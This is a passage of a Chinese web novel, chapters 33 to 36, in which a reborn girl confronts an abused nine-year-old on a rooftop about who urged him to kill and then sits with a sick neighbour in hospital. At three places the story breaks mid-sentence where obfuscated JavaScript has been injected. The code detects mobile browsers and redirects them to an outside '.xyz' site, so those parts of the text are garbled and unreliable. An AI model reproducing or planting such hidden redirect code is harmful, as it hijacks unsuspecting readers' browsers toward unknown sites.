“不过我真的找到了李常收到的教唆信,说明我的怀疑是对的,这样,我的行为就还不算坏吧?” 语毕,客厅内陷入沉默,这沉默只持续了两三秒钟,随后黄阿姨率先发出一声惊呼。 黄阿姨:“哎呀!下次再有这样的事,你找我们商量不就好了!不用这样偷偷摸摸啊!” 曲叔叔也点头附和:“嗯。” 花奶奶微微一笑:“小照,多依靠我们,没关系的,就像你之前对我说的那样。” 就连曲宏愿都说:“确实。” 小温微微一愣,在刚刚那番话说出口前,她还在担心谎言被揭穿,担心自己露馅。话一出口才发现,她的亲人们关心的始终是她本人,他们率先注意到的永远是她的感受。 黄阿姨还在絮叨:“而且啊,你会去李萍家不也是疑心李常会对老妈下手嘛,这事其实也是咱家的事,哪有让你替我们调查的道理。” 曲叔叔:“多几个人商量,也好多几份考量,你们还是太莽撞了。” 曲叔叔难得说这么长的句子,小温听着都有些不好意思了,连忙打断道:“好啦,好啦,我知道了,下次会找你们商量的。” 话是这么说,但应该不会有下次了。 小温和花奶奶一家人闲聊吃瓜,吃完了西瓜,小温腾一下站起来,拦住打算收拾桌子的黄阿姨。 “诶诶诶!我来!我来就行!”小温从黄阿姨手中夺走抹布,吭哧吭哧地把桌面上的西瓜汁擦干净。 黄阿姨笑着调侃几句,没阻止小温。 收拾完后,小温提着两袋西瓜皮下楼扔垃圾,老温和秦女士快下班了,小温心里盘算着晚上做点什么好吃的。 跨上最后两级台阶,小温摸出口袋里的钥匙,目光转向家门口时,发现李萍家的门开着,屋内传来李萍和她丈夫的争执声。 “没用的东西!连个孩子都看不住!” 孩子?是说李常吗?小温被声音吸引,躲在门口偷听。 “呵呵,我没用,你就有用了?蒙乘,你自己想想,你有管过他吗?” “我没管过他,他吃的用的是谁出的钱?是你这个没工作,就会在家发疯的臭婆娘吗?” “你什么意思?我变成这样怪谁?啊?我为什么会丢掉工作?啊?” 屋内传来肢体碰撞声,推搡间似乎有人撞上了桌子,李萍的尖叫声和蒙乘的咒骂声一个比一个响。 小温在门口犹豫着要不要出手阻止他们的争执,不管怎样,小温还是不希望再遇见命案。 她正准备进屋拉架,右脚刚刚迈出一步,口袋里的手机响了。 屏幕显示是本市的陌生号码,可能又是诈骗推销的吧。 小温接起电话:“喂?” 电话那头沉默了很长一段时间,小温还以为是什么恶搞电话,正准备挂断,另一头的人终于出声了。 “来楼顶天台,你一个人。” 33. 伪善者 电话那头的声音很耳熟,小温早上还在和他说话。 “李常?”小温心下一紧,追问道,“你在天台?你要做什么?” 李常没有回答,直接挂断了电话。 屋里的两个大人还在吵,小温叹息,给曲宏愿发了一条消息。 【小温】:曲哥,刚刚李常打电话给我,让我一个人上天台,我感觉有点不对劲,先上去看看情况。 小温按下发送键,两步并做一步,走上顶楼。至于是报警还是告诉李常父母,就交给曲宏愿考虑了。 为了方便居民晾晒被子,天台的门是常开的,谁都可以直接上来。既然谁都可以上来,就需要避免有孩子玩闹时坠楼,小区对此的策略就是加高、加宽围栏。 正常来说,这个围栏的高度孩子是无法爬上去的,可李常偏偏爬上去了。 小温跑到天台门口,一抬头就见对面的水泥围栏上坐着一个小孩。 李常背对着楼梯口,他坐在护栏上,两只手撑在身侧,右手边是一个黑色外壳的老人机,老人机正在播放儿歌,李常随着儿歌左右摇摆,似乎很开心。 《小白船》舒缓的歌声中,小温朝李常走去,李常似有所觉,回头望向楼梯口。 “你来了。”李常看见了小温,露出一个很正常很普通的笑容。 小温看到李常笑就起鸡皮疙瘩,她还是搞不懂这孩子到底是什么性格,一会默不作声地盯着人,一会又装模作样地怪叫。 现在李常倒是像个正常孩子了,但也只是像,小温不会天真地以为,经过不到半天时间李常就能恢复正常。 七八月是一年里最炎热的月份,下午五点半的阳光依旧毒辣,照得小温眯起眼。 她眯着眼走到离李常仅剩两步距离的地方,问:“李常,你要做什么?” 这个距离不至于让李常感到受威胁,但又能让小温在他想要跳楼时拉住他。 李常轻笑两声,把头转了回去。有风灌入他宽大的蓝色T恤,小温试探着走到李常身边。 风把小温的头发吹得有些乱,她随意地把手搭在围栏上。 “你刚刚在做什么?”李常突然问。 “下楼扔垃圾?”小温略一思索,没提李萍和她丈夫的争执。 李常摇摇头:“我问的不是这个。” 谁知道你要问什么啊,你个谜语人,神秘兮兮地打电话叫我上天台,一句解释也没有,小温心道。 虽然心有不满,但小温还是耐着性子继续说:“在你家门口听你爸妈吵架?” 李常依旧摇头。 小温没辙了:“难道是我在和花奶奶一家吃西瓜吗?” 小温只是随便一说,没想到李常这次没有摇头。 小温一愣,就听见李常再度开口道:“那,你再猜猜我刚刚在做什么?” 小温一听,实在忍不住了:“我不猜了!你到底要说什么!直接说好了,别磨磨唧唧问来问去的!” 本来就烦,还东猜西猜的! “我真搞不懂你在想什么,从小到大都搞不懂,你就不能直接说出你的想法吗?” “你明明有很多机会向外界求助,逃离那个糟糕的家庭,你为什么从来没有想过要离开?为什么任由你父母虐待你?然后任由自己变成一个阴暗的疯子。” 小温怒气上头,一连说了好多话,话一出口就觉得这样有点不太好,声音软了软。 “我可以理解你待在那种家庭里的窒息感,但是你看,其实外面的天气很好,太阳很好,也并没有在下雨。” 小温目光柔和地看着李常,在找到那封教唆信前,她确实恨李常,在找到教唆信后,她更恨那个躲在背后操控一切的人。 “从现在开始,一步一步成为一个好孩子还来得及。只要你把那个企图教唆你杀人的人供出来,我可以帮你,我可以找很多人一起帮你。不管什么样的困难,大家一起想,总能克服的!” 李常只是那人的工具,一把可怜的刀,如果他有心变好,小温是很乐意帮忙的。 当然,如果他还存有伤害他人的想法,小温会恨他一辈子。 小温在等待李常的回答,她希望能和李常把话说开,希望李常能戴罪立功。她等了许久,只听见了一声抑制不住的轻笑。 “哈哈……哈哈哈!你真的一点也不懂啊,温姐姐。”李常好像听见了什么好笑的笑话,笑了好一会儿,“真好笑,你们这些旁观者就是高高在上。” 李常的笑声扎在小温的心上,她忍不住反思自己所说的话。她真的能够理解李常所遭受的苦难吗?她是不是真的过于高高在上了? 在她思考间,李常缓缓起身,站在高高的围栏上。太阳被厚实的云层遮住,他站在风中,像一根插在土里的,挂着衣服的枯树枝。 “托你的福,我得到了很多叔叔阿姨哥哥姐姐的关心,真好啊,你是这么想的,对吗?” “……” “他们说,我应该多想些开心的事,那么我来讲个笑话吧。” 李常背着手,跨过脚边的老人机,在围栏上慢慢走,小温也在围栏下沉默地跟着他走。 “在你愉快地吃瓜聊天时,我在接受父母的责骂,他们好久没那么生气了,哈哈……他们骂我是倒霉鬼败家子,家里的脸都被我丢完了。很好笑的笑话,不是吗?我们家哪里还有什么脸面,不过是找个借口渲泄情绪罢了。” “温姐姐,你知道‘跳蚤效应’吗?这是叔叔告诉我的,把跳蚤放进加了玻璃盖的瓶子里,一开始,跳蚤会跳得很高,它会撞到玻璃盖上,一次又一次。后来,跳蚤学聪明了,不跳那么高了。它没有再撞上玻璃盖,但是在拿开玻璃盖之后,它也没有跳出瓶口,它再也跳不出去了。” 李常说完,停下脚步,小温也跟着停下。 身旁的不锈钢晾衣架上挂着花花绿绿的衣服,有男有女,有大人的有小孩的,各种颜色的衣服被风吹动,隐约还能闻见洗衣液的香味。 李常转过身,微微低头看着小温。 “你让我求助,我该向谁求助?你让我逃,我该逃向哪里?你让我不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364378|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成一个疯子,我该怎么在那样的家里保持清醒?你告诉一个被困在瓶子里的跳蚤,你可以跳出来了,你觉得,它就能跳出来了吗?” “你说得好轻巧,说得好简单啊。” 李常说完,抿唇看着小温,他的眼睛里暗含着这个年龄的孩子不该有的复杂情绪。 和今天早上在客厅里遇见李常时不同,现在的他眼睛里终于有了情绪,像是切实活在这个世界里的人。小温忍不住垂下眼眸,不去看他的眼睛。 “温姐姐,你觉得你很善良,你觉得你做了一件好事,对吗?哈哈哈!你好假!你的善良好假!你的慈悲好假!你的怜悯好假!” 李常说着说着,似乎觉得这个笑话很好笑,捧腹大笑了好一会。小温的眸色越来越暗,疑惑、不解、怀疑、自我厌弃在她心里疯长。 “我……”小温想说什么,一时间却不知道能说什么,像个泄气的气球一样耷拉着脑袋。 唉,要是李常晚些叫她上天台就好了,再晚些,来的人就是大温了。大温肯定能懂李常的意思,大温肯定能知道怎么回答李常的问题。 “蓝蓝的天空银河里……” 李常手中的老人机还在单曲循环《小白船》,在悠扬的音乐中,李常摇摇晃晃地直起身。 “温姐姐,你不是想知道我为什么恨你吗?”李常的声音恢复往常的平静,“因为你太幸运了,我有的你也有,我没有的你全有,你有全世界最好最爱你的父母。” 李常说着,握着老人机的手抬起,指向垂头耷脑的小温。 “像你这样什么都有的幸运儿,对我说出‘不管什么样的困难,总能克服的’这样虚无缥缈的话,你不觉得很虚伪吗?” “你这个假惺惺的幸运儿,高高在上的伪善者,你从来都不是什么英雄,也不是什么侠客,你就是个为了满足私欲的‘演员’!” “喂,你是不是搞错了什么?”大温抬起头,一改先前的沮丧神态,出声打断李常的激情演讲。 李常微微怔愣,眼前人骤然换了一番摸样,分明是同一张脸,眼神与表情却截然不同,好似换了个人。 大温眼皮突突跳,确实换了个人,只是李常永远也不会知道。 “我没有义务帮助你,没有任何一条法律规定我必须对所有人伸出援手,我不帮你是情理之中,帮你是大发慈悲。” “我确实高高在上,那又如何?有人掉进坑里了,我弯腰拉一把,我确实是高高在上,毕竟我在坑上边,可那又如何?因为我没跳进洞里给人当垫脚石,没有牺牲自己帮助别人,所以我就是伪善者吗?” “这锅我可不背。” 大温摆摆手,一副无所谓的样子,她伸手倚着围栏,切换灵魂带来的疼痛还没消退,她原本并不想这么快出声的。 但她实在太生气了,没忍住。 小温还是太嫩了,怎么能任由李常诡辩,重点根本不是这个。 头疼开始慢慢消退了,大温单手撑着下巴,仰头看着李常,眼神犀利:“这些话都是谁教你说的?” 34. 未知的未来 李常方才的话引导性很强,用词也很成熟,不像个九岁小孩会说的话。 而且他还提到了一个人——“叔叔”。告诉他跳蚤效应的“叔叔”,是否就是写教唆信的人? 既然被称作“叔叔”,就说明这个人不是很年轻,年纪应该在三十岁到五十岁之间,男性。初步猜测此人擅长操控人心,城府很深,擅长借刀杀人。 大温看着一时哑口无言的李常,果然还是个孩子,一被猜中就装不下去了。 大温笑了笑:“告诉你这些话术的,就是写教唆信的人吧?你是什么时候,通过什么手段和他取得联系的?是你联系他,还是他联系你?” 大温微笑着,她的笑容像一把锥子,一点一点敲碎李常的伪装。 “既然你嫌弃我的友善,觉得我是个伪善者,那我不介意抛弃这些‘伪善’,做一个真正的恶人。” 李常被大温盯着,表情终于有些慌乱。 他毕竟也只是个九岁小孩,不像大温是个老油条重生者,在大温灼灼的目光下露了怯。 也许这是个逼问情报的好时机,大温神色一凛。 “是电话联系的,对吗?联系工具是你手里的老人机。老人机里应该没有他的联系方式,这样很危险,一旦被警察调查就会暴露。他很小心,连教唆信都是打印的,避免暴露字迹,因此电话也是他打给你的吧?估计还是用公共电话亭的电话打来的。” “你早上被警察带走,下午回家,他给你准备的这套说辞到底是事先准备好的,还是临时准备的?嗯……我想了一下,感觉像是临时准备的,不然就是提前准备后临时修改过的。” “那么,他怎么知道你今天遇到了什么事?他在监视你?他人到底在哪里?你见过他吗?” 一连串的问题把李常问住了,他忍不住后退了半步,后脚跟踩空,一个不稳往下摔去。 大温一惊,连忙伸手抓住李常的手。李常手中的老人机在变故中摔下了楼,在地上开了花。 虽然放了狠话说要做个真正的恶人,但大温还是没法干看着别人死在自己面前。 李常很瘦,细胳膊细腿的,大温拽着他并不算吃力。 她右手抓着李常的右手,围栏很高,到小温胸口的位置。大温想抓住李常,就必须整个人趴在围栏上,双脚悬空。 大温完全是靠着体重和身体力量拽住李常的,她尝试着把李常拽上来,可惜这个姿势不好发力,一下子没拉上来。 “把另一只手也伸上来!我把你拉上来!” 就算不为了救人,为了得到教唆犯的线索,她也要把李常救上来。 李常闻言,没有动,只是静静看着大温,好像快要掉下楼的不是他是大温。大温要被气笑了,干脆两只手抓住李常的右手,先把人拉上来再谈。 好不容易往上拉了一截,李常伸脚勾住下方的排水管。 “你想死?”大温蹙眉,有些怒了。 她余光瞥见楼下有人在走动,定睛一看,发现是曲宏愿带着警察在铺设防震气垫。 大温稍微松了口气,警察已经来了,她安心了不少,眉头稍稍舒展。 “我回答不了你的问题。”吊在半空中的李常缓缓说道,“其实我也对叔叔一无所知,我从来没见过他。” “所以你就这么相信一个素未谋面的人说的话?他让你杀人你就杀?” “温姐姐,我很好奇,你到底为什么这么确定我会杀人?” “直觉。” “是么,直觉……那我也是直觉吧,我觉得他可以帮我。” “你这是盲信,他的目的不是救你,他只是在利用你借刀杀人。” “温姐姐,叔叔确实教了我一些话,但刚刚我说的话里,有很多都是我自己想说的。” 李常努力想扯出一个笑容,他失败了,被戳穿伪装后,他有些疲惫。 “温姐姐,从来没有人教我遇到不好的事该怎么解决。没人教过我,妈妈把我一个人锁在家里不给我吃饭的时候该怎么办。写不出作业被叫家长,但是家里没有人时该怎么办。老师让交班费,但是一分钱也拿不出来该怎么办。莫名其妙被同学们讨厌了该怎么办,总是被骂眼神很恶心让我去死该怎么办……” 李常说着,声音逐渐哽咽,眼泪从眼眶中溢出。 “半夜被妈妈掐着脖子从梦中惊醒了怎么办,爸爸趁着妈妈不在家时带其他女人回家了怎么办,妈妈又让我一个人跪在客厅里了怎么办。” 两行眼泪滚落,李常的脸上是深沉的……悲伤。 “你说我该怎么办呢,温姐姐?从来不会遇到这些事情你的告诉我,我该怎么办?如果你是一个本不该诞生的孩子该怎么办……” 大温说不出来,她哑然无声,想起了前世种种。 前世也没人告诉她,撞见疼爱自己的邻居奶奶摔下楼惨死该怎么办,得知父亲的死讯该怎么办,唯一的好朋友被杀人犯杀死了该怎么办,最爱的母亲失踪了该怎么办。 “我不知道。”大温说,“我不知道,我也想知道,所以我出现在了这里。” “我没你想的那么幸运,我也有很多不能说的痛苦。我曾经无法原谅自己,把自己困在无尽的痛苦中走不出去,我也是最近才逐渐想通的。” “我们或许无法阻止一些事情的发生,所以,尽力便好。李常,人生很长,你才九岁,你的未来仍然是一片未知,存在无限可能。” “拉住我的手,告诉我那个可恶的教唆犯的信息,在你真正犯错之前,一切还有转圜的余地。” 大温眼珠转了转,楼下的防震气垫已经铺好,大温听见身后传来脚步声,警察上楼了。 “小妹妹!再坚持一下!”警察看到了趴着的大温,大声喊道。 大温微微闭眼,对李常说:“你可以好好想想再告诉我你的答案。” …… 好不容易忙完了,大温回到逆转空间,她眼睛一闭,眼前出现一张柔软的大床。 大温晃晃悠悠走到床边,张开手砸在床上:“唉,累死我了……” 她躺了会,总觉得少了什么,爬起来环顾四周,没看见小温的身影。 “小温?”大温试探着喊了一声,无人回应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364379|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 大温心跳快了几分,不会吧?不会系统又出了什么差错,把小温搞没了吧? “小温?”她又喊了一遍,依旧没人回应。 大温蹙眉,正要呼叫系统,就听见了一声闷闷的“嗯”。 声音是从衣柜里传来的,大温松了口气,起身走向小温。今天的逆转空间是她们现实里的卧室,只不过是大号版的,家具全都比正常的大。 小温就这样坐在超大号的衣柜里,柜门关着,大温抬手敲了敲柜门。 “怎么了,我们的小温同学?” “我想静静。” 大温没说话,小温听见了窸窸窣窣的动静,有人倚着衣柜门坐下了。 二人沉默着坐了很久,直到大温抱着膝盖快要睡着时,小温才出声道:“大温,我是不是真的很虚伪?” “你很在意李常的话?” “……” “你还记得我和你说过的,我的过去吗?” “……记得。” “老温去世的那段时间,有很多人安慰我,他们说着各种各样安慰的话,那些安慰全都轻飘飘的。他们没有经历过同样的痛苦,确实无法给予有效的安慰,但我不能否认他们的善心。我知道他们都是出于善意安慰我,所以即便我听多了有些心烦,也从来不会怪他们。” “你并没有错,小温,真心想要帮助别人不是伪善,你没有对不起任何人。” “我知道。”沉默许久,小温终于开口了,“我知道的……我就是……唉,不知道怎么说。” 小温推开另一半衣柜门,从衣柜里走了出来,随后关上柜门,坐在大温身边。 “所以你在郁闷什么?”大温轻声问。 “唔……就是突然觉得自己也只是个小孩啊,跟你比起来幼稚好多,冲动好多,嘴也笨好多。”小温垂头抱着膝盖,“李常问我的那些问题我都答不上来,你肯定答得上来吧?你经历比我丰富,应该更能明白怎么解决这件事更好吧?” “你本来就是个孩子啊,长得再高,思想再成熟也还只是个孩子。”大温一脸莫名地看着小温。 “而且,明明应该是我羡慕你才对,你有我早就丢失的勇气,有我逐渐遗忘的纯真,你才是我理想中的自己啊。还有啊,其实那些问题我也不怎么答得上来,我没那么强啦。你别忘了,之前科考队那事我就没法解决,还得你来。” “对、对哦,我都忘了。” “你看,我没那么好,你也没那么差。”大温右手握拳,伸向小温,“我们一起长大,好吗?” 小温也伸手,和大温碰了碰拳头。 “那说好了,一起长大。”小温嘿嘿笑,满血复活了,“你陪我长大,我带你经历你没经历过的,未知的人生。” 大温也跟着笑,咧出一口大白牙:“嗯,说好了。” “呼~好!去找点零食吃!”小温起身拍拍屁股,突然想起了什么,“我想吃巧克力蛋筒,你帮我……” 小温说着转过头,剩下半截话卡在喉咙里,愣住了。 她身侧空无一人,大温不见了。 35. 医院 “诶?”大温一脸茫然地从床上醒来,耳边是“叮铃铃”的手机铃声,她被手机铃声吵醒了。 重生的这一个多月以来,大温还是第一次在睡下后被吵醒。原来在睡眠时间被吵醒不会头疼,而且醒来的会是大温。 这算是个新发现,大温往枕头边一摸,摸到了响铃的手机,来电显示“曲哥”。 曲宏愿?他大晚上找她做什么? 大温接起电话:“喂?” 电话那头的曲宏愿沉默了几秒钟,大温又语带疑惑地“喂”了一声,依旧没有回应。 这是手机揣兜里误触了么?大温正要挂断电话,曲宏愿突然开口了。 “我很犹豫到底该不该告诉你这件事。”曲宏愿的声音比平时还要冷,“但你有知晓的权利,温流照。” 曲宏愿深吸口气,大温心里有了些不好的猜测。 “奶奶在丰林市人民医院抢救。” 心脏像是被捶了一拳,直到曲宏愿挂断电话,大温才慢慢缓过来。她从床上蹦起来,麻利地换好衣服,拿了钥匙就窜出门。 下了两层楼才想起车钥匙没拿,又火急火燎地跑回去拿。费了一番波折,大温终于骑着自行车来到丰林市人民医院。 “喂?曲哥,我到医院了,你们在哪?”大温锁好自行车,边往医院大门跑边给曲宏愿打电话。 “在放射科等拍CT。” 大温停在公告板跟前,公告板上是丰林市人民医院的地图,大温找到了放射科所在的地点,接着一路狂奔。 “花奶奶的情况怎么样?”大温边跑边问。 “医生说暂时稳定了。”曲宏愿刚一说完,电话那头便传来CT室的广播。 “请,花稻丰到CT一室检查。” 广播重复了两遍,有医生问:“哪个家属进去陪一下?” “我去吧。”曲宏愿的声音远了些,似乎是转头和医生说话,随后他挂断了电话,大温也终于看见了放射科的大门。 入门便是淡淡的消毒水味,大温看了一圈,很快就看见了在CT室门口等待的黄阿姨和曲叔叔。夫妻二人忧心忡忡地站在CT室门外,CT室的门开着,可以看见医护人员们正在摆弄仪器,曲宏愿把沉重的铅服披在身上。 黄阿姨焦急地踱来踱去,她转了几圈才看到跑来的大温,紧皱的眉头舒展了一半。大温脚上还穿着拖鞋,短袖短裤低马尾,一看就知道是匆忙赶来的。 “黄阿姨,曲叔叔!”大温在黄阿姨跟前站定,问,“花奶奶怎么会突然进医院?” “唉……”黄阿姨叹了口气,“不清楚原因,阿愿说半夜听到老妈的房间里传来很大的响声,他那时没睡,就起来看了眼,结果看见老妈摔在地上不省人事。医生说可能是脑卒中,具体要等CT结果。” “怎么会!白天不是还好好的吗?” “唉……不知道啊……”黄阿姨深深叹息。 曲叔叔站在靠近操作间的地方,听见操作间里的医生和技师在交谈着什么,他的手攥着衣角,脸上是明晃晃的不安。 片刻后,随行的医生从操作间里出来,CT室的门打开了,检查床缓缓退出,曲宏愿脱掉沉重的铅衣,和门口张望的大温四目相对。 仅仅是一瞬,随后曲宏愿便开始帮助护工把昏迷的花奶奶抬回病床上。主治医生是位四十岁左右的女医生,她看了看大温三人,问:“你们都是花稻丰的家属,对吗?” “对对对,我是她儿媳!”黄阿姨连忙道。 “我们刚刚在CT图像里看到了一块脑部阴影,暂时还不知道是什么,等会再加做一个磁共振。” 黄阿姨倒吸一口凉气,曲叔叔的手攥得更紧了。护工手脚麻利地把心电监护仪搬回病床,和曲宏愿一前一后推着病床出来了。 随后便是一连串的检查,大温看着昏迷不醒的花奶奶被护工抬来抬去,看着透明的液体一滴一滴滴下,通过针管流入花奶奶体内。 这是前世没有发生过的事,是大温和小温做出改变之后的未来。 天边泛起鱼肚白,大温坐在医院外的便利店门口叹息。 黄阿姨和曲叔叔白天还要上班,曲宏愿把他们赶回去睡觉了,只留下他和大温两个已经放假的学生。 曲宏愿负责办理入院手续,和主治医生对接,大温则负责准备花奶奶的生活用品。 医生说可能需要住院一段时间,看看脑子里的阴影究竟是什么,结合花奶奶的年龄,可能需要做最坏的打算。 忙完这一切,大温满身疲惫,在医院附近的二十四小时便利店买了一小杯杯面,坐在门口吸溜。 吸溜了两口,大温突然想起,她还没和小温解释她突然消失的事。她从口袋里摸出手机,很意外,小温居然没有给她发消息。 【大温】:我没消失,出了点事,被曲哥叫醒了。 小温回得很快,她没说话,发了个小狗哭哭的表情包。 大温挠头,莫名感觉自己像是欺负小孩的坏人。 【大温】:不是故意晾着你不解释的啦,有点忙,没顾得上。 【小温】:所以到底发生什么事了? 大温闭了闭眼,现在已经凌晨五点了,还有一个小时小温就会醒来,瞒着她没有意义,切换灵魂的那一瞬间她就会知道所有事情。 【大温】:花奶奶晕倒了,刚刚办完入院手续。 小温陷入了长久的沉默,大温再度叹息,端起没吃完的杯面继续吸溜。 便利店基本都是病人或者病人家属来购买生活用品,什么地方都可能没有人,唯独医院不可能。 一辆救护车打着车灯开出医院大门,大温吃掉了最后一口方便面,坐在长椅上把塑料叉子往垃圾桶里一抛,塑料叉子准确无误地落进垃圾桶里。 大温仰头想喝一口面汤,突然和对面的男生对上视线。男生和小温差不多年纪,刚刚把自行车停稳锁好,抬头和大温四目相对是,两人皆是一愣。 “何……咳咳!何景澄?!”大温惊呼,险些被面汤呛到。 “温同学,你怎么在这?”何景澄面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364380|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露惊诧,自沛霖市一别,他们已经许久没有联系了。 他一问出口,便敏锐察觉到了什么,垂下眼眸说道:“抱歉,我大概知道了。” 这并不难猜,他知道大温家不在医院附近,凌晨出现在医院附近的便利店门前,要么是自己生病了,要么是亲人生病了。而从大温手里酸辣味的杯面来看,生病的显然不是她。 一想到花奶奶,大温又有些郁闷了,她把面汤倒进泔水桶里,再把纸杯扔进垃圾桶,走到何景澄身边。 “你呢?来看你弟弟的吗?”大温说着,和何景澄肩并肩,二人不约而同向着医院大门走去,“你要去哪栋楼?” “第一住院部。”何景澄指了指左前方的一栋高楼,“我弟弟最近……不太好。” “这次住院的是一个很疼爱我的邻居奶奶,她突然晕倒了,半夜拍了CT,脑子里似乎有个阴影……” “花奶奶是很好的人,可为什么她才刚逃过一劫,又来一劫呢?” 大温像是叹息,又像是埋怨,她只是随便说说,没想到何景澄听得很认真,他仔细思考片刻,答道:“我不知道。” 清晨的医院人少了很多,他们并肩穿过长长的走廊,走过难得安静的急诊大厅,何景澄再度开口了。 “我也想知道,为什么悲剧总是发生在好人身上,为什么想要好好生活的人总是无法如愿。” 大温看着何景澄的侧脸,看着他低垂的眼眸,想起了前世的何景澄。 她记得有一段时间,何景澄难得请了一周的假。那时是高一下册,临近期末,班级里的所有人都在忙着应对接下来的分班考,似乎只有大温注意到,请假回来的何景澄胸口多了一朵黑花。 大温很清楚那代表了什么,高一下册的期末,何景澄的一位亲人不幸离世了。 作为同样失去亲人的人,大温和何景澄感同身受,而正因为感同身受,才没法出言安慰。 人死了就是死了,说什么都无法改变这一点,痛苦会一直存在,她能做的很少。 大温最后犹豫了很多天,还是没有出言询问何景澄究竟发生了什么。周末时,她一个人登上了本市最出名的一座山,拜访了山头的寺庙,一口气写了好几张祈福纸条。 “希望何景澄早日走出亲人离世的阴影。” “希望秦女士天天开心,永远不会半夜惊醒。” “希望花奶奶和老温在另一个世界健康快乐地活着。” “希望幼盈能够实现自己的梦想,希望我们还能分在一个班,希望我们能做一辈子的好朋友。” 这是她那时能想到、能做到的唯一一件事了。 重生后,她大概知道那个离世的亲人是谁了——何景澄的弟弟,那个不幸患癌的孩子。 而她能做的,也比前世多了。 “何景澄。”大温叫住了他,“如果你需要的话,等我忙完,我可以去陪陪你。” 也许她能改变什么,也许不能,总之她想尝试一下。 尝试改变这已知的未来。 36. 不要害怕 “真的?”何景澄原本有些黯淡的眼睛稍微有了些光彩,垂在身侧的手微动,食指微抬,碰了碰大温的手。 触碰仅在一瞬间,就像是不小心碰到的一样,大温抬眼,只看见何景澄那双含笑的眼睛。 “当然,我可以在你需要的时候随叫随到。”大温眨眨眼,比了个wink。 “我确实有件事想拜托你。”何景澄侧头,认真地看着大温,“你可以和我去见见我弟弟吗?” 大温有些意外:“你弟弟?” “他和我的性格截然不同,我想他应该会很喜欢你。”何景澄的声音轻如耳语,“就算是一个人也好,我希望他能多交些朋友。” “好啊。”大温爽朗一笑,往前跳了几步,回头挥手和何景澄告别,“那待会见?” “好,待会见。”何景澄晃了晃手机,示意手机联系。 花奶奶的病房不在这栋楼,大温告别后,抬脚走向另一栋住院楼。 昨晚做完检查后,花奶奶就醒了,只是意识还不太清醒。主治医师评估了花奶奶的状态,决定让她待在普通病房。 曲宏愿一直守在花奶奶床边,大温回来时,就见他搬了张塑料板凳坐在靠墙的位置,脑袋一点一点地打瞌睡。 大温轻手轻脚地走进病房,没有吵醒曲宏愿。大温昨晚起码睡了几个小时,曲宏愿一点没睡,又忙活了一晚上,困是正常的。 大温看着花奶奶熟睡的脸,突然感到很陌生。她很熟悉花奶奶的脸,熟悉她听到有趣的笑话时笑起来的样子,熟悉她知道大温考了个好成绩时温柔的目光,熟悉她知道大温学不会围棋时无奈的表情。 大温熟悉花奶奶的各种样子,唯独不熟悉这样的花奶奶。 不熟悉这样面色苍白,浑身管子和线的花奶奶。 心电监护仪滴滴作响,大温轻轻拉过隔壁床的塑料板凳,趴在花奶奶床边。 希望一切好好的,希望花奶奶能多陪陪他们几年,哪怕只是一两年也好。 大温的额头贴着小臂,心里盘算着找时间再去庙里挂个祈福签,就像前世一样。 想着想着,突然感觉有一只手轻轻放在她的头顶上。 大温愕然抬头,就见花奶奶憔悴的脸上带着苍白的笑容。她在勉励微笑,手轻轻搭在大温的头上。 “奶奶你醒了?好些了吗?”大温握住花奶奶的手,她怕吵醒曲宏愿,便附在花奶奶耳边轻声询问。 花奶奶嘴唇嗫嚅着,发出微小的气音。大温赶忙把耳朵贴近,想要听清花奶奶在说什么,她努力听了半天,才大概听见。 “不要……害怕……”花奶奶说。 被大温握在手中的手动了动,似乎想要抬起来。大温会意,轻轻托起花奶奶的手。 花奶奶的手指微屈,停在大温眼前,轻而认真地拭去她眼角的泪水。 大温一愣,她现在才发现,不知何时有两行清泪悄然划过脸颊。 “不要害怕……不要……哭……” 最后的“哭”字几乎成了气音,但大温还是能通过花奶奶的嘴型读出她想说的话。 不要害怕,不要哭。 “嗯……”大温低声说,“我不哭。” 她吸吸鼻子,重复道:“我长大了,我不会害怕,也不会哭了。” 睡梦中的曲宏愿隐约听见人声,悠悠转醒。他一睁眼便看见了对面的大温,再一看,看见了醒转的花奶奶。他晃了晃脑袋,也走到病床边。 曲宏愿拿出手机看了看时间,说道:“医生说暂时没事了,小姑在过来的路上了,待会她来陪床。温流照,你去休息吧,你昨晚也没睡多久。” 曲宏愿一说,大温便迟来地感到了困倦,她晃了晃脑袋,和花奶奶告别:“奶奶,我先走了,明天我还会再来的。” 临走前,大温又对曲宏愿说:“曲哥,有事再联系我,有什么需要帮忙的地方我们家都可以帮忙。” 曲宏愿瞥了眼大温憔悴的脸,叹息道:“你好好休息就算帮忙了。” 